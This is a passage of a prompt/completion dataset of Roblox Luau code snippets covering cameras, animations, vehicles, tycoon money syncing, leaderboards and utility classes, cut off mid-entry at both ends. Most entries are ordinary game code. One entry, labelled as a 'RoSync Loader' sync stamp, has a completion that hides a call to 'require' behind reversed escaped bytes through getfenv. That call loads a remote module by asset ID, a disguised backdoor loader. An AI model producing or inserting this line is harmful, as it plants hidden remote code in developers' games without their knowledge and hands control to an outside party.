L_18_:WaitForChild('Modules')\nlocal L_23_ = L_18_:WaitForChild('SettingsModule')\nlocal L_24_ = require(L_23_:WaitForChild(\"ClientConfig\"))\nlocal L_25_ = L_18_:WaitForChild('Vars')\n\nlocal L_26_\nlocal L_27_\nlocal L_28_\nlocal L_29_\nlocal L_30_\nlocal L_31_\nlocal L_32_\nlocal L_33_\nlocal L_34_\nlocal L_35_\nlocal L_36_\nlocal L_37_\nlocal L_38_\nlocal L_39_\nlocal L_40_\nlocal L_41_\n\nlocal L_42_\n\nlocal L_43_\nlocal L_44_\nlocal L_45_\nlocal L_46_\nlocal L_47_\nlocal L_48_\nlocal L_49_\n\nlocal L_50_ = L_24_.AimZoom\n\nlocal L_51_ = L_24_.MouseSensitivity\nlocal L_52_ = L_12_.MouseDeltaSensitivity\n"} +{"prompt": "--// Dev Vars", "completion": "\n\tCameraGo = true; -- No touchy\n\tFirstPersonOnly = false; -- SET THIS TO FALSE TO ENABLE THIRD PERSON, TRUE FOR FIRST PERSON ONLY\n\tTPSMouseIcon = 1415957732; -- Image used as the third person reticle\n\t"} +{"prompt": "--- RUNTIME ---", "completion": "\n\nplayer.CharacterAdded:Connect(character_added)\n\nprint(player.Name,script.Name,\"loaded.\")\n\n\n"} +{"prompt": "--[[\nRunService:BindToRenderStep(\"AdjustCamera\", Enum.RenderPriority.Last.Value, function()\n\tlocal head = script.Parent:FindFirstChild(\"Head\")\n\tlocal cam = workspace.CurrentCamera\n\tcam.CFrame = CFrame.new(head.Position) * cam.CFrame.Rotation * CFrame.new(0,0,1)\nend)\n]]", "completion": "\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------\n-- STATE CHANGE HANDLERS", "completion": "\n\nfunction onRunning(speed)\n\tlocal movedDuringEmote =\n\t\tuserEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)\n\tlocal speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75\n\tif speed > speedThreshold then\n\t\tlocal scale = 16.0\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Running\"\n\telse\n\t\tif emoteNames[currentAnim] == nil and not currentlyPlayingEmote then\n\t\t\tplayAnimation(\"idle\", 0.2, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tlocal scale = 5.0\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / scale)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n"} +{"prompt": "--\t\tprint(\"Wha \" .. pose)", "completion": "\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\tif (setAngles) then\n\t\tlocal desiredAngle = amplitude * math.sin(time * frequency)\n\n\t\tRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\n\t\tLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\n\t\tRightHip:SetDesiredAngle(-desiredAngle)\n\t\tLeftHip:SetDesiredAngle(-desiredAngle)\n\tend\nend\n"} +{"prompt": "-- This function produces a folder under a specified parent.\n-- \"soundProperties\" is a table determining what the default properties of these audios will be.", "completion": "\nfunction main:CreateSoundGroup(parent:Instance?, name:string?, soundProperties:{}?, isFolder:boolean?) : SoundGroup|Folder\n\tif not parent then warn(\"Parent not specified, Footstep folder parented to workspace\") end\n\tisFolder = isFolder or false\n\tsoundProperties = soundProperties or {}\n\tparent = parent or workspace\n\t-- Create folder\n\tlocal SoundGroup = nil\n\tif not isFolder then\n\t\tSoundGroup = Instance.new(\"SoundGroup\"); SoundGroup.Volume = 1; SoundGroup.Name = name or \"Footsteps\"\n\telse\n\t\tSoundGroup = Instance.new(\"Folder\"); SoundGroup.Name = name or \"Footsteps\"\n\tend\n\tlocal index = 0\n\tfor soundMaterial,soundList in pairs(main.SoundIds) do\n\t\tindex = 0\n\t\tlocal sectionGroup = nil\n\t\tif not isFolder then\n\t\t\tsectionGroup = Instance.new(\"SoundGroup\"); sectionGroup.Volume = 1; sectionGroup.Name = soundMaterial\n\t\telse\n\t\t\tsectionGroup = Instance.new(\"Folder\"); sectionGroup.Name = soundMaterial\n\t\tend\n\t\tfor _,soundId in pairs(soundList) do\n\t\t\tindex += 1 -- Increment index\n\t\t\tlocal soundEffect = Instance.new(\"Sound\")\n\t\t\tsoundEffect.Name = string.format(\"%s_%02i\",soundMaterial:lower(),index)\n\t\t\t-- Set optional sound group\n\t\t\tif not isFolder then\n\t\t\t\tsoundEffect.SoundGroup = sectionGroup\n\t\t\tend\n\t\t\tfor property,value in pairs(soundProperties) do\n\t\t\t\tsoundEffect[property] = value\n\t\t\tend\n\t\t\tsoundEffect.SoundId = soundId\n\t\t\tsoundEffect.Parent = sectionGroup\n\t\tend\n\t\tsectionGroup.Parent = SoundGroup\n\tend\n\t\n\tSoundGroup.Parent = parent\n\treturn SoundGroup\nend\n"} +{"prompt": "-- local ANCESTRY_SEPARATOR = ' \u203a '\n-- local TITLE_BULLET = chalk.bold('\u25cf ')\n-- local STACK_TRACE_COLOR = chalk.dim", "completion": "\nlocal STACK_PATH_REGEXP = \"%s*at.*%(?:%d*:%d*%)?\"\nlocal STACK_PATH_REGEXP_NATIVE = \"%s*at.*%(?native%)?\""} +{"prompt": "--[[ Last synced 12/29/2020 08:47 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "--- Add a task to clean up\n-- @usage\n-- Maid[key] = (function) Adds a task to perform\n-- Maid[key] = (event connection) Manages an event connection\n-- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.\n-- Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method\n-- Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object,\n-- it is destroyed.", "completion": "\nfunction Maid:__newindex(index, newTask)\n\tif (Maid[index] ~= nil) then\n\t\terror((\"'%s' is reserved\"):format(tostring(index)), 2)\n\tend\n\n\tlocal tasks = self._tasks\n\tlocal oldTask = tasks[index]\n\ttasks[index] = newTask\n\n\tif (oldTask) then\n\t\tif (type(oldTask) == \"function\") then\n\t\t\toldTask()\n\t\telseif (typeof(oldTask) == \"RBXScriptConnection\") then\n\t\t\toldTask:Disconnect()\n\t\telseif (oldTask.Destroy) then\n\t\t\toldTask:Destroy()\n\t\tend\n\tend\nend\n\n"} +{"prompt": "--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\n--\tPlace this into StarterGui or StarterPack\t\t\t\t\t\t\t--\n--\tCREDIT\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--\n--\tWhoBloxxedWho; for the initial script\t\t\t\t\t\t\t\t--\n--\tDoogleFox; some stuff ripped from his panner script\t\t\t\t\t--\n--\tDuruTeru; shoving it all into this script and then some :)\t\t\t--\n--\tUPDATE: turned it into r15, made it so you can swim right in water\t--\n-- Jan 07, 2017\t\t\t\t\t\t\t\t\t\t\t\t\t\t--\n-- UPDATE: added walkspeed easing directionally, also adding running --\t\n-- Nov 13, 2020\t\t\t\t\t\t\t\t\t\t\t\t\t\t--\n--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--\t--", "completion": "\n\n"} +{"prompt": "-- Tycoon Module", "completion": "\nlocal module = {}\n\nmodule.money = script.Parent.Money\nmodule.powers = script.Parent.Powers\nmodule.crystals = script.Parent.Crystals\n\nfunction module.init(Modules)\n\tlocal Sounds = Modules[\"Menu\"][\"sounds\"]\n\tlocal Connections = {}\n\tlocal Player = game.Players.LocalPlayer\n\tlocal Tycoon = Player.PlayerTycoon.Value\n\t\n\tlocal function Unhook()\n\t\tfor i,connection in pairs(Connections) do\n\t\t\tif connection.Connected then\n\t\t\t\tconnection:Disconnect()\n\t\t\tend\n\t\t\ttable.remove(Connections,i)\n\t\tend\n\tend\n\n\tlocal function Hook()\n\t\tUnhook()\n\t\tlocal Money = Player.MainData.Money\n\t\tlocal Powers = Player.MainData.Powers\n\t\tlocal Crystals = Player.MainData.Crystals\n\t\ttable.insert(Connections,Powers.Changed:Connect(function()\n\t\t\tscript.Parent.Powers.Value = Powers.Value\n\t\tend))\n\t\ttable.insert(Connections,Crystals.Changed:Connect(function()\n\t\t\tscript.Parent.Crystals.Value = Crystals.Value\n\t\tend))\n\t\ttable.insert(Connections,Money.Changed:Connect(function()\n\t\t\tscript.Parent.Money.Value = Money.Value\n\t\tend))\n\t\tscript.Parent.Powers.Value = Powers.Value\n\t\tscript.Parent.Crystals.Value = Crystals.Value\n\t\tscript.Parent.Money.Value = Money.Value\n\tend\n\tHook()\n\tTycoon.Changed:Connect(Hook)\nend\n\nreturn module\n"} +{"prompt": "--// Unused (Don't delete)", "completion": "\n\tRestMode = false;\n\tAttachmentsEnabled = true;\n\tUIScope = false;\n\tCanSlideLock = false;\n\t\t"} +{"prompt": "--[[ << GAMEPASS PERMISSIONS >>\nFormat: [GamepassId] = \"PermissionName\" OR PermissionNumber ;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]]", "completion": "\nAsset_Permissions={\n\t[0] = \"Mod\";\n}\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t;\n\n"} +{"prompt": "--Set braking torque and stop back 2 wheels", "completion": "\nfunction Chassis.EnableHandbrake()\n\tsetMotorMaxAcceleration(math.huge)\n\tMotors[3].MotorMaxTorque = ActualBrakingTorque\n\tMotors[4].MotorMaxTorque = ActualBrakingTorque\n\tMotors[3].AngularVelocity = 0\n\tMotors[4].AngularVelocity = 0\nend\n"} +{"prompt": "--Lua primitives", "completion": "\n\nt.boolean = primitive(\"boolean\")\nt.thread = primitive(\"thread\")\nt.callback = primitive(\"function\")\nt.none = primitive(\"nil\")\nt.string = primitive(\"string\")\nt.table = primitive(\"table\")\nt.userdata = primitive(\"userdata\")\n\nfunction t.number(value)\n\tlocal valueType = typeof(value)\n\tif valueType == \"number\" then\n\t\tif value == value then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\telse\n\t\treturn false\n\tend\nend\n\nfunction t.nan(value)\n\tif value ~= value then\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend\n"} +{"prompt": "-- The serialized array is compatible with pretty-format package min option.\n-- However, items have default stringify depth (instead of depth - 1)\n-- so expected item looks consistent by itself and enclosed in the array.", "completion": "\nlocal function printReceivedArrayContainExpectedItem(received: Array, index: number): string\n\tlocal receivedMap = {}\n\tfor i, item in ipairs(received) do\n\t\tlocal stringified = stringify(item)\n\t\tif i == index then\n\t\t\treceivedMap[i] = INVERTED_COLOR(stringified)\n\t\telse\n\t\t\treceivedMap[i] = RECEIVED_COLOR(stringified)\n\t\tend\n\tend\n\n\treturn RECEIVED_COLOR(\"{\") .. table.concat(receivedMap, RECEIVED_COLOR(\", \")) .. RECEIVED_COLOR(\"}\")\nend\n\nlocal function printCloseTo(receivedDiff: number, expectedDiff: number, precision: number, isNot: boolean): string\n\tlocal receivedDiffString = stringify(receivedDiff)\n\tlocal expectedDiffString\n\n\tif receivedDiffString:find(\"e\") then\n\t\treceivedDiffString = receivedDiffString:gsub(\"%+0\", \"+\")\n\t\treceivedDiffString = receivedDiffString:gsub(\"%-0\", \"-\")\n\n\t\texpectedDiffString = Number.toExponential(expectedDiff, 0)\n\telse\n\t\tif 0 <= precision and precision < 20 then\n\t\t\tlocal stringFormat = \"%.\" .. precision + 1 .. \"f\"\n\t\t\texpectedDiffString = string.format(stringFormat, expectedDiff)\n\t\telse\n\t\t\texpectedDiffString = stringify(expectedDiff)\n\t\tend\n\tend\n\n\tif isNot then\n\t\treturn string.format(\n\t\t\t\"Expected precision: %s %s\\n\" .. \"Expected difference: %s< %s\\n\" .. \"Received difference: %s %s\",\n\t\t\t\" \",\n\t\t\tstringify(precision),\n\t\t\t\"never \",\n\t\t\tEXPECTED_COLOR(expectedDiffString),\n\t\t\t\" \",\n\t\t\tRECEIVED_COLOR(receivedDiffString)\n\t\t)\n\telse\n\t\treturn string.format(\n\t\t\t\"Expected precision: %s %s\\n\" .. \"Expected difference: %s< %s\\n\" .. \"Received difference: %s %s\",\n\t\t\t\"\",\n\t\t\tstringify(precision),\n\t\t\t\"\",\n\t\t\tEXPECTED_COLOR(expectedDiffString),\n\t\t\t\"\",\n\t\t\tRECEIVED_COLOR(receivedDiffString)\n\t\t)\n\tend\nend\n\nlocal function printExpectedConstructorName(label: string, expected): string\n\treturn printConstructorName(label, expected, false, true) .. \"\\n\"\nend\n\nlocal function printExpectedConstructorNameNot(label: string, expected): string\n\treturn printConstructorName(label, expected, true, true) .. \"\\n\"\nend\n\nlocal function printReceivedConstructorName(label: string, received): string\n\treturn printConstructorName(label, received, false, false) .. \"\\n\"\nend\n"} +{"prompt": "--[[ Local Constants ]]", "completion": "--\nlocal UNIT_Z = Vector3.new(0,0,1)\nlocal X1_Y0_Z1 = Vector3.new(1,0,1)\t--Note: not a unit vector, used for projecting onto XZ plane\n\nlocal THUMBSTICK_DEADZONE = 0.2\nlocal DEFAULT_DISTANCE = 12.5\t-- Studs\nlocal PORTRAIT_DEFAULT_DISTANCE = 25\t\t-- Studs\nlocal FIRST_PERSON_DISTANCE_THRESHOLD = 1.0 -- Below this value, snap into first person\n\nlocal CAMERA_ACTION_PRIORITY = Enum.ContextActionPriority.Default.Value\n"} +{"prompt": "--\t\t\t\t{ id = \"slash.xml\", weight = 10 } ", "completion": "\n\t\t\t},\n\ttoollunge = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129967478\", weight = 10 } \n\t\t\t},\n\twave = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=128777973\", weight = 10 } \n\t\t\t},\n\tpoint = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=128853357\", weight = 10 } \n\t\t\t},\n\tdance = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=130018893\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=132546839\", weight = 10 }, \n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=132546884\", weight = 10 } \n\t\t\t},\n\tlaugh = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129423131\", weight = 10 } \n\t\t\t},\n\tcheer = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=129423030\", weight = 10 } \n\t\t\t},\n}\n"} +{"prompt": "--// Touch Connections", "completion": "\nL_3_:WaitForChild('Humanoid').Touched:connect(function(L_295_arg1)\n\tlocal L_296_, L_297_ = SearchResupply(L_295_arg1)\n\tif L_296_ and L_17_ then\n\t\tL_17_ = false\n\t\tL_96_ = L_24_.Ammo\n\t\tL_97_ = L_24_.StoredAmmo * L_24_.MagCount\n\t\tL_98_ = L_24_.ExplosiveAmmo\n\t\tif L_54_:FindFirstChild('Resupply') then\n\t\t\tL_54_.Resupply:Play()\n\t\tend\n\t\twait(15)\n\t\tL_17_ = true\n\tend;\nend)\n"} +{"prompt": "--// Walk and Sway", "completion": "\nlocal L_129_\n\nlocal L_130_ = 0.6\nlocal L_131_ = 0.05 -- speed\nlocal L_132_ = -0.1 -- height\n\nlocal L_133_ = 0\nlocal L_134_ = 0\nlocal L_135_ = 35 --This is the limit of the mouse input for the sway\nlocal L_136_ = -9 --This is the magnitude of the sway when you're unaimed\nlocal L_137_ = -9 --This is the magnitude of the sway when you're aimed\n"} +{"prompt": "--[[ Display Names ]]\n--Uses DisplayNames instead of UserNames in chat messages", "completion": "\nmodule.PlayerDisplayNamesEnabled = false"} +{"prompt": "-- Must have hopped on a segway", "completion": "\nSegwayObject.Changed:connect(function()\n\tif SegwayObject.Value ~= nil and SegwayObject.Value.Parent then\n\t\t\n\t\tif UserInputService.VREnabled then\n\t\t\tCamera.CameraType = \"Scriptable\"\n\t\telse\n\t\t\tCamera.CameraType = \"Follow\"\n\t\tend\n\t\tLights = SegwayObject.Value:WaitForChild(\"Lights\")\n\t\tNotifiers = SegwayObject.Value:WaitForChild(\"Notifiers\")\n\t\tCharacter = Player.Character\n\t\tHumanoid = Character:WaitForChild(\"Humanoid\")\n\t\tPlayerGui = Player.PlayerGui\n\t\tSitListener = Humanoid.Seated:connect(function()Hopoff()end)\n\t\tJumpListener = UserInputService.JumpRequest:connect(function()Hopoff()end)\n\t\tConfigLights:FireServer(0,\"Cyan\",true,\"Neon\",Lights,Notifiers)\n\t\tCheckMobile()\n\t\tCheckVR()\n\t\tIsOnSegway = true\n\n\t\tContextService:BindActionAtPriority(\"segInputAction\",onGENInput,false,2100,\n\t\t\tEnum.KeyCode.Space,\n\t\t\tEnum.KeyCode.Backspace,\n\t\t\tEnum.KeyCode.ButtonA,\n\t\t\tEnum.KeyCode.W,\n\t\t\tEnum.KeyCode.Up,\n\t\t\tEnum.KeyCode.ButtonR2,\n\t\t\tEnum.KeyCode.S,\n\t\t\tEnum.KeyCode.Down,\n\t\t\tEnum.KeyCode.ButtonL2,\n\t\t\tEnum.KeyCode.D,\n\t\t\tEnum.KeyCode.Right,\n\t\t\tEnum.KeyCode.A,\n\t\t\tEnum.KeyCode.Left\n\t\t)\n\tend\nend)\n\nSetGuiButtons()\n\nwhile game:GetService(\"RunService\").Stepped:wait() do\n\t\n\t-- Update segway's bottom direction\n\tCastToGround()\n\t\n\tif SegwayObject.Value and SegwayObject.Value.Parent and SeaterObject.Value and Thruster.Value and TiltMotor.Value then\n\t\n\t\t-- Move segway\n\t\tAccelerate()\n\t\t\t\n\t\t-- Update the sound\n\t\tSound()\n\t\t\t\n\t\t-- Tilts the segway\n\t\tTilt()\n\t\tUpdateVRPos()\n\tend\n\t\nend"} +{"prompt": "-- // Services", "completion": "\nlocal contentProvider = game:GetService(\"ContentProvider\")\n"} +{"prompt": "-- have a timer on the bomb X\n-- make the bomb change colours X\n-- have explosion instance create when timer reaches 0 X\n-- if it is not == to zero then continue counting down and change colours X", "completion": "\n\nexplode = Instance.new(\"Explosion\")\nexplode.BlastPressure = 1000000\nexplode.BlastRadius = 25\nbombTimer = 10\n\nfunction spawnBomb()\n\twhile bombTimer >= 0 do\n\t\tif bombTimer == 0 then\n\t\t\texplode.Position = script.Parent.Position\n\t\t\texplode.Parent = game.Workspace.Bomb\n\t\t\twait(0.15)\n\t\t\tscript.Parent:Destroy()\n\t\telse\n\t\t\twait(0.5)\n\t\t\tscript.Parent.BrickColor = BrickColor.new(\"Really red\")\n\t\t\twait(0.5)\n\t\t\tscript.Parent.BrickColor = BrickColor.new(\"Black\")\n\t\t\tprint(\"the bomb will explode in \".. bombTimer)\n\t\t\tbombTimer = bombTimer - 1\n\t\tend\n\tend\nend\n\nscript.Parent.Touched:Connect(function()\n\tspawnBomb()\nend)\n"} +{"prompt": "--script.Parent.Light2.BrickColor = BrickColor.new(\"Really black\")", "completion": "\nwait(5.35)"} +{"prompt": "-- Public Methods", "completion": "\n\nfunction RadialMenuClass:SetRadialProps(props)\n\tfor _, child in next, self.Frame.Radial:GetChildren() do\n\t\tfor prop, value in next, props do\n\t\t\tchild[prop] = value\n\t\tend\n\tend\nend\n\nfunction RadialMenuClass:SetDialProps(props)\n\tlocal dial = self.Frame.RadialDial\n\tfor prop, value in next, props do\n\t\tdial[prop] = value\n\tend\nend\n\nfunction RadialMenuClass:GetTheta(userInputType)\n\tlocal delta = nil\n\t\n\tif (MOUSE_GROUP[userInputType]) then\n\t\tlocal frame = self.Frame\n\t\tlocal radius = frame.AbsoluteSize.y/2\n\t\tlocal center = frame.AbsolutePosition + frame.AbsoluteSize/2\n\t\tlocal mousePos = UIS:GetMouseLocation() + Vector2.new(0, -36)\n\t\tdelta = (mousePos - center) / radius\n\telseif (GAMEPAD_GROUP[userInputType]) then\n\t\tlocal states = UIS:GetGamepadState(userInputType)\n\t\tfor _, state in next, states do\n\t\t\tstates[state.KeyCode] = state\n\t\tend\n\t\tdelta = states[Enum.KeyCode.Thumbstick2].Position * Vector3.new(1, -1, 1)\n\tend\n\t\n\tif (delta) then\n\t\tlocal m = delta.Magnitude\n\t\tif (m >= self.DeadZoneIn and m <= self.DeadZoneOut) then\n\t\t\treturn math.atan2(delta.y, -delta.x)\n\t\tend\n\tend\nend\n\nfunction RadialMenuClass:PickIndex(theta)\n\tlocal frameRot = math.rad(self.Frame.Rotation)\n\tlocal toDeg = math.deg(theta - self.Rotation + frameRot + EX_OFFSET + 2*TAU) % 360\n\tlocal closest = math.floor(toDeg / (360 / self.SubN))\n\treturn closest + 1\nend\n\nfunction RadialMenuClass:GetRotation(index)\n\treturn -TAU * ((index - 1) / self.SubN)\nend\n\nfunction RadialMenuClass:GetRadial(index)\n\treturn self.Frame.Radial[index]\nend\n\nfunction RadialMenuClass:GetAttachment(index)\n\treturn self.Frame.Attach[index]\nend\n\nfunction RadialMenuClass:GetAnimation(id)\n\treturn game.ReplicatedStorage.Events.GetEmote:InvokeServer(id)\nend\n\n\nfunction RadialMenuClass:IsVisible()\n\tlocal frame = self.Frame\n\twhile (frame and frame:IsA(\"GuiObject\") and frame.Visible) do\n\t\tframe = frame.Parent\n\t\tif (frame and frame:IsA(\"ScreenGui\") and frame.Enabled) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction RadialMenuClass:Destroy()\n\tself._Maid:Sweep()\n\tself.Frame:Destroy()\n\tself.Clicked = nil\n\tself.Hover = nil\n\tself.Frame = nil\nend\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"earth\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(0,-0.25,0) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0,-0.25,0)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n\n"} +{"prompt": "--gun parts", "completion": "\nlocal lufa = gunmodel:WaitForChild(\"lufa\")\nlocal boltmodel = gunmodel:WaitForChild(\"bolt\")\nlocal magmodel = gunmodel:WaitForChild(\"mag\")\nlocal boltpart = boltmodel:WaitForChild(\"boltpart\")\n"} +{"prompt": "-- Remove back accessories since they frequently block the camera", "completion": "\nlocal function isBackAccessory(instance)\n\tif instance and instance:IsA(\"Accessory\") then\n\t\tlocal handle = instance:WaitForChild(\"Handle\", 5)\n\t\tif handle and handle:IsA(\"Part\") then\n\t\t\tlocal bodyBackAttachment = handle:WaitForChild(\"BodyBackAttachment\", 5)\n\t\t\tif bodyBackAttachment and bodyBackAttachment:IsA(\"Attachment\") then\n\t\t\t\treturn true\n\t\t\tend\n\n\t\t\tlocal waistBackAttachment = handle:WaitForChild(\"WaistBackAttachment\", 5)\n\t\t\tif waistBackAttachment and waistBackAttachment:IsA(\"Attachment\") then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\n\treturn false\nend\n\nlocal function removeBackAccessoriesFromCharacter(character)\n\tfor _, child in ipairs(character:GetChildren()) do\n\t\tcoroutine.wrap(function()\n\t\t\tif isBackAccessory(child) then\n\t\t\t\tchild:Destroy()\n\t\t\tend\n\t\tend)()\n\tend\nend\n\nlocal descendantAddedConnection = nil\nlocal function onCharacterAdded(character)\n\tremoveBackAccessoriesFromCharacter(character)\n\tdescendantAddedConnection = character.DescendantAdded:Connect(function(descendant)\n\t\tcoroutine.wrap(function()\n\t\t\tif isBackAccessory(descendant) then\n\t\t\t\tdescendant:Destroy()\n\t\t\tend\n\t\tend)()\n\tend)\nend\n\nlocal function onCharacterRemoving(character)\n\tif descendantAddedConnection then\n\t\tdescendantAddedConnection:Disconnect()\n\t\tdescendantAddedConnection = nil\n\tend\nend\n"} +{"prompt": "-- Bind function to update event. Used to update player's orientation if FilteringEnabled\n-- is true (otherwise the rotation would not replicate from the rotating player)", "completion": "\nupdateEvent.OnServerEvent:connect(function(player, neckC0, rshoulderC0)\n\tlocal character = player.Character\n\tcharacter.Torso.Neck.C0 = neckC0\n\tcharacter.Torso:FindFirstChild(\"Right Shoulder\").C0 = rshoulderC0\nend)\n"} +{"prompt": "--Client -> Server", "completion": "\n\t-- Player\n\tlocal RF_getPlayerData = remoteFunctions.Client.GetPlayerData\n\t-- Player Vehicle\n\tlocal RF_vehicleSpawnRequest = remoteFunctions.Client.Vehicle.VehicleSpawnRequest\n\tlocal RF_vehicleRemoveRequest = remoteFunctions.Client.Vehicle.VehicleRemoveRequest\n\t-- Weapon\n\tlocal RF_GetUnlockedWeapons = remoteFunctions.Client.Weapon.GetUnlockedWeapons\n\tlocal RF_GetEquipedWeapon = remoteFunctions.Client.Weapon.GetEquipedWeapon\n\tlocal RF_GetWeaponInfo = remoteFunctions.Client.Weapon.GetWeaponInfo\n\tlocal RF_EquipWeapon = remoteFunctions.Client.Weapon.EquipWeapon\n\tlocal RF_UnEquipWeapon = remoteFunctions.Client.Weapon.UnEquipWeapon\n\tlocal RF_BuyWeapon = remoteFunctions.Client.Weapon.BuyWeapon\n\t-- Twitter\n\tlocal RF_redeemCode = remoteFunctions.Client.Twitter.RedeemCode\n\t"} +{"prompt": "-----------------------------------------------", "completion": "\n\n\n\nfunction findAllFlagStands(root)\n\tlocal c = root:children()\n\tfor i=1,#c do\n\t\tif (c[i].className == \"Model\" or c[i].className == \"Part\") then\n\t\t\tfindAllFlagStands(c[i])\n\t\tend\n\t\tif (c[i].className == \"FlagStand\") then\n\t\t\ttable.insert(stands, c[i])\n\t\tend\n\tend\nend\n\nfunction hookUpListeners()\n\tfor i=1,#stands do\n\t\tstands[i].FlagCaptured:connect(onCaptureScored)\n\tend\nend\n\nfunction onPlayerEntered(newPlayer)\n\n\tif CTF_mode == true then\n\n\t\tlocal stats = Instance.new(\"IntValue\")\n\t\tstats.Name = \"leaderstats\"\n\n\t\tlocal captures = Instance.new(\"IntValue\")\n\t\tcaptures.Name = \"Captures\"\n\t\tcaptures.Value = 0\n\n\n\t\tcaptures.Parent = stats\n\n\t\t-- VERY UGLY HACK\n\t\t-- Will this leak threads?\n\t\t-- Is the problem even what I think it is (player arrived before character)?\n\t\twhile true do\n\t\t\tif newPlayer.Character ~= nil then break end\n\t\t\twait(5)\n\t\tend\n\n\t\tstats.Parent = newPlayer\n\n\telse\n\n\t\tlocal stats = Instance.new(\"IntValue\")\n\t\tstats.Name = \"leaderstats\"\n\t\tlocal kills = false\n\t\tif Settings.LeaderboardSettings.KOs then\n\t\t\tkills = Instance.new(\"IntValue\")\n\t\t\tkills.Name = Settings.LeaderboardSettings.KillsName\n\t\t\tkills.Value = 0\n\t\tend\n\t\tlocal deaths = false\n\t\tif Settings.LeaderboardSettings.WOs then\n\t\t\tdeaths = Instance.new(\"IntValue\")\n\t\t\tdeaths.Name = Settings.LeaderboardSettings.DeathsName\n\t\t\tdeaths.Value = 0\n\t\tend\n\t\t\n\t\tlocal cash = false\n\t\tif Settings.LeaderboardSettings.ShowCurrency then\n\t\t\tcash = Instance.new(\"StringValue\")\n\t\t\tcash.Name = Settings.CurrencyName\n\t\t\tcash.Value = 10000000\n\t\tend\n\t\t\n\t\tlocal PlayerStats = game.ServerStorage.PlayerMoney:FindFirstChild(newPlayer.Name)\n\t\tif PlayerStats ~= nil then\n\t\t\tif cash then\n\t\t\t\tlocal Short = Settings.LeaderboardSettings.ShowShortCurrency\n\t\t\t\tPlayerStats.Changed:connect(function()\n\t\t\t\t\tif (Short) then\n\t\t\t\t\t\tcash.Value = Settings:ConvertShort(PlayerStats.Value)\n\t\t\t\t\telse\n\t\t\t\t\t\tcash.Value = Settings:ConvertComma(PlayerStats.Value)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\t\tif kills then\n\t\tkills.Parent = stats\n\t\tend\n\t\tif deaths then\n\t\tdeaths.Parent = stats\n\t\tend\n\t\tif cash then\n\t\tcash.Parent = stats\n\t\tend\n\n\t\t-- VERY UGLY HACK\n\t\t-- Will this leak threads?\n\t\t-- Is the problem even what I think it is (player arrived before character)?\n\t\twhile true do\n\t\t\tif newPlayer.Character ~= nil then break end\n\t\t\twait(5)\n\t\tend\n\n\t\tlocal humanoid = 